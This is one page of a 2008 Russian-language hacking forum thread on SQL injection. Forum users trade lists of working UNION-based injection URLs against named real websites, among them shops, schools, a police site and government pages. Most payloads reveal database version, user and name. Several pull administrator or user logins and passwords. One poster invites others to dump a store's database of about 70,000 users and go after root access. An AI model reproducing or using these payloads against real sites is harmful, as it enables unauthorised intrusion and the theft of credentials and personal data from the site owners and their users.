SQL-инъекции

Тема в разделе "Поиск уязвимостей", создана пользователем Constantine, 8 май 2007.

Страница 8 из 20
  1. Ko$ha
    Ko$ha Guest
    Код:
    h*tp://www.jnht.com/heritage_site.php?id=-1+union+select+1,2,version(),4,5,6,7,8,9,0,1,2,3,4,5,6,7/*
    Код:
    h*tp://www.michaelpollan.com/article.php?id=-1+union+select+1,version(),3,4,5,6,7,8,9,10/*
    Код:
    h*tp://www.busexplorer.com/PHP/FeaturePage.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,version(),15/*
    Код:
    h*tp://www.teatrdoc.ru/plays.php?id=-1+union+select+1,2,3,version(),5/*
    Код:
    h*tp://www.freepoc.org/viewapp.php?id=999+union+select+1,2,3,4,5,6,7,version()/*
    Код:
    h*tp://www.russfeingold.org/article_text.php?id=6666666+union+select+1,2,3,4,5,version()/*
    Код:
    h*tp://honestreporting.ru/articles/print_version.php?id=92+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,user(),16,17,18,19,20,21/*
     
    11 сен 2008
    2 пользователям это понравилось.
  2. Zik
    Zik Guest
    Код:
    http://www.hhconsulting.ro/en/post_det.php?id=-249+union+select+1,version(),3,4,5,6,7,8,9/*
    Код:
    http://www.greenshift.com/news.php?id=97+union+select+1,version(),3,4,5,6,7,8,9,0,1,2/*
    Код:
    http://www.dantero.com/dogs.php?id=-133+union+select+1,version(),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9/*
     
    12 сен 2008
  3. nd2k
    nd2k Продвинутый
    Симпатии:
    6
    Код:
    ht*p://www.gelezo.net/stats.php?id=1'UNION+SELECT+database(),2,3,4,5,user(),version(),8,9/*
ht*p://www.ultraproducts.com/st_content.php?id=-1+union+select+1,2,concat_ws(version(),user(),database())/*
ht*p://yogacenter.ru/page.php?id=-2+union+select+concat(version(),user(),DATABASE()),2,3,4,5+--
ht*p://agent.dp.ua/catalog.php?id=11&sub_id=-38+UNION+SELECT+1,2,CONCAT_WS(CHAR(58),VERSION(),USER(),DATABASE())/*
ht*p://www.superlime.ru/new.php?id=-366+union+select+1,2,concat_ws(char(58),version(),user(),database()),4,5/*
ht*p://www.animedvd.ru/serial.php?id=-81+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(char(58),version(),user(),database()),13/*
ht*p://www.teatrdoc.ru/plays.php?id=-5+union+select+1,2,concat_ws(char(58),version(),user(),database()),4,5--
ht*p://www.city.vbg.ru/index.php?id=-566+union+select+1,2,concat_ws(char(58),version(),user(),database()),4,5,6,7,8/*
ht*p://www.intellectpro.ru/uslugi/index.php?oper=uslugi_view&id=-999999999+union+select+concat_ws(char(58),version(),user(),database())/*[/url]
ht*p://astrol.ru/index.php?page=-2+union+select+1,2,3,4,concat_ws(char(58),version(),user(),database()),6,7/*
ht*p://uvatregion.ru/guard3.php?id=-1+UNION+SELECT+1,concat_ws(char(58),version(),user(),database()),3,4/*
ht*p://www.equipnet.ru/show_firm.php?firm_id=-1+union+select+concat_ws(char(58),version(),user(),database())/*
ht*p://www.michaelpollan.com/article.php?id=-87+union+select+1,concat_ws(char(58),version(),user(),database()),3,4,5,6,7,8,9,10/*
ht*p://www.mtas.ru/second.php?ID=-243+union+select+concat_ws(char(58),version(),user(),database())/*
ht*p://www.glier.ru/dsp.php?id=-1+union+select+1,2,3,4,5,6,concat_ws(char(58),version(),user(),database()),8,9,10,11,12,13,14/*&did=9999
ht*p://www.civil.ge/rus/category.php?id=87&gallery=-13+union+select+1,2,3,concat_ws(char(58),version(),user(),database()),5,6--
     
    Последнее редактирование: 12 сен 2008
    12 сен 2008
    2 пользователям это понравилось.
  4. Zik
    Zik Guest
    Код:
    http://www.gamesector.org/review.php?id=-83+union+select+1,2,version(),4,5,6,7,8,9,0--
    Код:
    http://www.ccri.ro/news_det.php?id=-83+union+select+1,version(),3,4,5,6,7,8,9,0,1,2,3,4,5--
    Код:
    http://www.ekboblsud.ru/news.php?id=-356+union+select+1,2,version(),4,5,6,7,8,9,0,1/*
    Код:
    http://www.skytecx.com/product_details.php?id=-356+union+select+1,2,3,convert(concat_ws(0x3a,version())+using+latin1),5,6,7,8/*
    Код:
    http://www.ibict.br/noticia.php?id=-512+union+select+version(),2/*
    Код:
    http://www.hitchedmag.com/article.php?id=-512+union+select+1,version(),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4--
     
    15 сен 2008
  5. xeran
    xeran Guest
    Код:
    http://www.beiliddolfoods.co.uk/html/gallery/gallery.php?ggroup=24+union+select+1,2,3,version(),5--
    Код:
    http://www.parhonda.co.uk/html/gallery/gallery.php?ggroup=11+union+select+1,2,3,version(),5--
    Код:
    http://www.rhayadercarnival.co.uk/html/gallery08/gallery.php?ggroup=33+union+select+1,2,3,version(),5--
    --Вывод паследнего имя картинки
     
    Последнее редактирование модератором: 17 сен 2008
    17 сен 2008
  6. Zik
    Zik Guest
    Код:
    http://www.soaw.org/newswire_detail.php?id=-1464+union+select+1,version(),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1--
    Код:
    http://www.acte.org/resources/press_release.php?id=-284+union+select+1,2,3,version(),5,6,7,8,9/*
     
    17 сен 2008
    1 человеку нравится это.
  7. xeran
    xeran Guest
    product_details.php
    Код:
    http://www.adhesivetape.net/product_details.php?id=99999+union+select+1,version(),3,4/* 

http://www.ransomes-jacobsen.biz/rjl_website/product_details.php?id=9999+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

http://arkhana.com/shopping/product_details.php?id=99999+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/*

http://www.thegildedroom.com/product_details.php?ID=1+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/*
     
    17 сен 2008
    1 человеку нравится это.
  8. xeran
    xeran Guest
    Ko$ha,
    Есть freepoc.org а есть freepoc.de который стоит на томже движке
    Код:
    http://www.freepoc.de/viewapp.php?id=999+union+select+1,2,3,4,5,6,7,version()/*
    UnHidden Content:
    Код:
    http://www.saints.co.nz/players.php?id=13+union+select+1,2,version(),4/*


http://www.qcflames.com/team/players.php?id=-63+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/*

http://www.elitegolfmanagement.com/Players.php?id=-2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,version(),14,15,16--
5  версия

http://metalistfans.net/players.php?id=-34+union+select+1,2,3,4,5,6,7,version(),9/*


http://www.blackknight.ca/players.php?id=-17+union+select+1,2,3,version(),5,6,7,8,9,10,11--

http://www.sjif.dk/players/players.php?id=-31+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26/* 
5 версия


http://www.vifk.fi/juniorer/players.php?lan=&id=-9+union+select+1,2,version(),4,5,6--
    Пока что все)
     
    18 сен 2008
    1 человеку нравится это.
  9. Zik
    Zik Guest
    Код:
    http://www.fondsi.ru/default.php?to_show=new&sub_id=&art_id=&text_id=-148+union+select+1,concat_ws(0x2F,login,password),3+from+administrators/*
    Код:
    http://drikung.ru/news.php?id=-8+union+select+1,2,3,concat_ws(0x2F,login,password)+from+administrators/*
    решил проверить по реверсу по одному старому хаку, глюк нашел там почти все сайты которые на пхп имеют одну и туже версию бд
     
    19 сен 2008
    1 человеку нравится это.
  10. NetSky
    NetSky Guest
    Код:
    http://simz.com.ua/site/rus/products/index.php?id_parent=15+and+1=2+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6/*
    Код:
    http://sites.zhu.edu.ua/thread.php?forum_id=1&site_id=3&lang=eng'+and+1=1+union+select+1,2,3,convert(version()+using+latin1),5,6,7,8/*
    Код:
    http://dlab.od.ua/kat/site.php?s='+and+1=1+union+select+IF(SUBSTRING(version(),1,1)=5,1,(SELECT+1+UNION+SELECT+2)),2,3,4,5,6,7,8,9,10/*
    Добавлено через 16 часов 36 минут
    Код:
    http://uptime.ru/downtime.php?host_id=-7407+UNION+SELECT+1,2,3,4,5,6,concat_ws(0x3a,email,login,password),8,9,10,11,12+FROM+users
     
    Последнее редактирование модератором: 20 сен 2008
    19 сен 2008
  11. nd2k
    nd2k Продвинутый
    Симпатии:
    6
    четвертая версия
    Код:
    http://uvatregion.ru/guard3.php?id=-1+UNION+SELECT+1,concat_ws(char(58),version(),user(),database()),3,4/*
http://www.astrotur.ru/index1.php?id=-1+union+select+1,2,concat(user(),0x20,database(),0x20,version())/*
http://www.astrakhanfm.ru/news/news.php?id=-13692+union+select+1,2,concat_ws(char(58),version(),user(),database()),4,5,6,7/*
http://www.ciritas.ru/product.php?id=-2+union+select+1,2,concat_ws(char(58),version(),user(),database()),4,5,6,7,8,9--
http://suvd.ru/articles/article.php?id=12+union+select+1,concat_ws(char(58),version(),user(),database()),null,4,5,6/*
http://www.zatulin.ru/index.php?section=news&id=239+and+1=0+UNION+SELECT+1,2,concat_ws(char(58),version(),user(),database()),4,5/*
http://www.crestron-home.ru/catalog/type.php?id=9999999+union+select+1,concat_ws(char(58),version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*
http://www.artmaterial.ru/about.php?content=dealer&id=-1+union+select+1,2,3,concat_ws(char(58),version(),user(),database()),5,6,7,8,9,10,11,12/*
http://www.kn.kz/ipot.php?id=-101+union+select+1,2,concat_ws(char(58),version(),user(),database()),4,5,6,7,8,9/*
http://www.artmaterial.ru/about.php?content=dealer&id=-1+union+select+1,2,3,concat_ws(char(58),version(),user(),database()),5,6,7,8,9,10,11,12/*
http://www.etver.ru/lenta/index.php?newsid=-1+UNION+SELECT+1,2,3,4,concat_ws(char(58),version(),user(),database()),6,7,8,9/*
http://www.vaal.ru/print.php?id=-91+union+select+1,2,3,4,5,6,7,8,concat_ws(char(58),version(),user(),database()),10,11--
    пятая версия
    Код:
    http://irisgift.com/catalog/customer_testimonials.php?testimonial_id=99999+union+select+1,2,column_name,4,5,6,7,8,9+from+information_schema.columns+where+table_name=0x616464726573735F626F6F6B/*
http://www.artmalik.com/gallery/gallery.php?id=-1+union+select+concat_ws(char(58,58),version(),user(),database()),2/*
http://langkawigeopark.my/entertainfull.php?recordID=-5+union+all+select+1,concat_ws(char(58),user(),version(),Database()),null,4,5,6--
http://www.scitech.gov.ph/butter.php?opt=3&n_sw=1&newsid=-101+union+select+1,2,concat_ws(char(58),version(),user(),database()),4,5,6,7,8--
http://sobaki.kh.ua/new/photos.php?galid=-10+union+select+concat_ws(char(58),version(),user(),database())--
http://www.avtosreda.ru/new/new.php?id=-4678+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6
http://www.ascon.ru/index.php?news=417+union+select+1,2,3,concat_ws(char(58),version(),user(),database()),5,6/*
http://police.ub.gov.mn/main.php?page=news&id=-99+union+all+select+1,2,concat_ws(char(58),version(),user(),database()),4,5,6,7,8--
http://expoelectroseti.ru/index.php?id=-1+union+all+select%201,2,3,4,5,6,concat_ws(char(58),version(),user(),database()),8
http://www.aeroschool.ru/read.php?category=2&catid=5&num=31+union+all+select+1,2,concat_ws(char(58),version(),user(),database()),4,5,6/*
http://www.sumw.com/index.php?page=products&pid=-1+UNION+SELECT+1,2,3,4,5,concat_ws(char(58),version(),user(),database()),7,8--
http://www.nfpf.org/news/index.php?id=147+and+1=0+Union+select+concat_ws(char(58),version(),user(),database()),2/*
http://www.aquasystems.md/readarticle.php?id=-1+union+select+1,concat_ws(char(58),version(),user(),database()),3/*
http://www.stplus.ru/content.php?id=-14+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4--
http://www.link.allforweb.com.ua/category.php?category=2+union+select+1,2,3,concat_ws(char(58),version(),user(),database()),5,6,7,8,9,0,11,12,13/*
http://www.detki.ru/index.php?mode=gallery&id=-296+UNION+SELECT+1,2,concat_ws(char(58),version(),user(),database()),4,5,6--
http://www.refland.ee/news.php?vaata=1&id=41+union+select+1,concat_ws(char(58),version(),user(),database()),3,4,5,6,7,8,9&lang=rus&currency=EEK
    и это все за пару часов! сам с себя в шоке:)
     
    20 сен 2008
    3 пользователям это понравилось.
  12. xeran
    xeran Guest
    Свежие скули
    Код:
    http://www.linfairrecords.com/artists/profile.php?id=-6+union+select+version()/*

http://www.mikemaciag.com/article_list.php?id=-7+union+select+version(),2,3,4,5,6,7,8,9/*

http://www.scotways.com/faqs/detail.php?catid=-10+union+select+1,2,version(),4,5,6/*
    Не прет сеня на скули(
     
    Последнее редактирование модератором: 20 сен 2008
    20 сен 2008
  13. Хел
    Хел Guest
    народ, я вот хоть убейте не понимаю, зачем выкладывать скули/инклуды/етс на говносайтах( не в обиду просто интересно - зачем?
     
    20 сен 2008
  14. xeran
    xeran Guest
    SoulFreaker,
    Есть тема выкладываем)
     
    20 сен 2008
  15. nd2k
    nd2k Продвинутый
    Симпатии:
    6
    уязвимый скрипт .php?es_id=
    4бд
    Код:
    http://www.prescare.org.au/article.php?es_id=-22+union+select+1,concat_ws(char(58),version(),user(),database()),3,4,5,6,7,8,9,0,1,2,3,4,5/*
    5бд
    Код:
    http://www.destinations.com.bs/package.php?es_id=47+union+select+1,concat_ws(char(58),version(),user(),database()),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0/*
    Код:
    http://alpineinternationalschool.com/article.php?es_id=2+union+select+1,concat_ws(char(58),version(),user(),database()),3,4,5,6,7,8,9,0,1,2,3,4,5/*
     
    25 сен 2008
  16. xeran
    xeran Guest
    Код:
    http://www.prescare.org.au/article.php?es_id=-12+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15/*
http://www.alpineinternationalschool.com/article.php?es_id=-38+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15/*
     
    25 сен 2008
    1 человеку нравится это.
  17. NetSky
    NetSky Guest
    Код:
    http://www.sexiv.ru/my/cart/add.php?id=1+union+select+1,concat(name,0x3a,password,0x3a,0x3a,0x3a,email),3,4,5,6,7,8,9,10,11,12,13,14,15+from+user/*
    Излюбленная тема, большой порно-магазин, базка около 70к юзверей. Если кому надо сливайте... Можете попробовать до рута добраться...

    Да и еще, некоторые любят вывод в необычных местах, тут же в исходном тексте, не предел оригинальности, но всеже :)
     
    1 окт 2008
    1 человеку нравится это.
  18. nd2k
    nd2k Продвинутый
    Симпатии:
    6
    Код:
    http://www.zeeland-vlaanderen-tour.com/ratelink.php?lnkid=0+union+select+1,2,3,4,concat_ws(char(58),version(),user(),database()),6,7,8,9,0,1,2,3
    Код:
    http://indigenousaustralia.frogandtoad.com.au/links/ratelink.php?lnkid=1+union+select+1,2,3,4,concat_ws(char(58),version(),user(),database()),6,7,8,9,0,1,2
    Код:
    http://www.onlytours.com/scripts/links/ratelink.php?lnkid=0+Union+select+1,2,3,4,concat_ws(char(58),version(),user(),database()),6,7,8,9,0,1,2--
    Код:
    http://uopal.com/links/ratelink.php?lnkid=0+union+select+1,2,3,4,concat_ws(char(58),version(),user(),database()),6,7,8,9,0,1,2
    Код:
    http://www.anjila.net/ratelink.php?lnkid=0+union+select+1,2,3,4,concat_ws(char(58),version(),user(),database()),6,7,8,9,0,1,2
     
    3 окт 2008
  19. xeran
    xeran Guest
    нечайно наткнулся
    Код:
    http://www.casino-games-internet.com/ca/game.php?ID=-56+union+select+1,2,version(),4,5,6,7,8,9,10,11--
    Добавлено через 6 часов 18 минут
    Свежие скули(не делил на версии) Имеються вполне нормальные шопы
    UnHidden Content:

    Код:
    
http://www.skatersedge.co.uk/product_desc.php?id=-39+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18--

http://www.whisbyanglingsupplies.com/product_desc.php?id=-64+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16--

http://www.thaitrademe.com/classifieds/product_desc.php?id=-5596+UNION+SELECT+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--

http://www.e-norprint.co.uk/product_desc.php?id=-250+UNION+SELECT+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18--

http://www.aryasara.com/product_desc.php?id=-227+UNION+SELECT+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--

http://myghanaclassifieds.com/product_desc.php?id=-76+UNION+SELECT+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--

http://www.amccogroup.com/product_desc.php?id=-36+union+select+1,2,version(),4,5,6,7,8,9--

https://www.partyplanet.org.uk/product_desc.php?id=-9343+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,version(),17,18,19,20,21,22--

http://www.sempoiad.com/product_desc.php?id=-145+UNION+SELECT+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--

http://www.whosell.com/e-market/product_desc.php?id=-1975+UNION+SELECT+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--

http://www.foodmachineryonline.com/product_desc.php?id=-16+UNION+SELECT+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--

http://www.noswizard.com/product_desc.php?id=-59+union+select+1,2,3,3,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42--

http://www.towersleep.co.uk/product_desc.php?id=-1+UNION+SELECT+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--

http://elsenalsport.com/product_desc.php?id=-7+union+select+version()--

http://free-host-directory.com/product_desc.php?id=-591+UNION+SELECT+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--

http://www.biglobangs.com/product_desc.php?id=-150+UNION+SELECT+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--

http://www.jumbboree.com/product_desc.php?id=-301+UNION+SELECT+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--

http://www.jumbboree.co.uk/product_desc.php?id=-301+UNION+SELECT+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--

http://www.thegalleryclothing.co.uk/product_desc.php?id=-211+UNION+SELECT+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--

http://www.eightjeans.com/product_desc.php?id=27+union+select+1,version(),3,4,5,6,7,8,9,10--
     
    Последнее редактирование модератором: 12 окт 2008
    12 окт 2008
  20. xeran
    xeran Guest
    3 МАГАЗИНА
    UnHidden Content:
    Код:
    http://www.moneyscript.org/product_detail.php?cid=10&pid=-20+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16--
http://scripts4profit.net/product_detail.php?cid=13&pid=-3+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16--
http://www.webtrafficpromotions.com/product_detail.php?cid=3&pid=-5+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16--
    cайт о php
    Код:
    http://www.phpbuddy.com/article.php?id=-23+union+select+1,2,version(),4,5,6--
    "Раскрывают потенциал вашего бизнесса" ))
    Код:
    http://www.elan.kiev.ua/index.php?id=-11+union+select+1,2,3,4,5,version(),7,8--
    Код:
      http://www.kelabbisnesonline.com/product_desc.php?id=-487+UNION+SELECT+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
     
    20 окт 2008
Страница 8 из 20
Загрузка...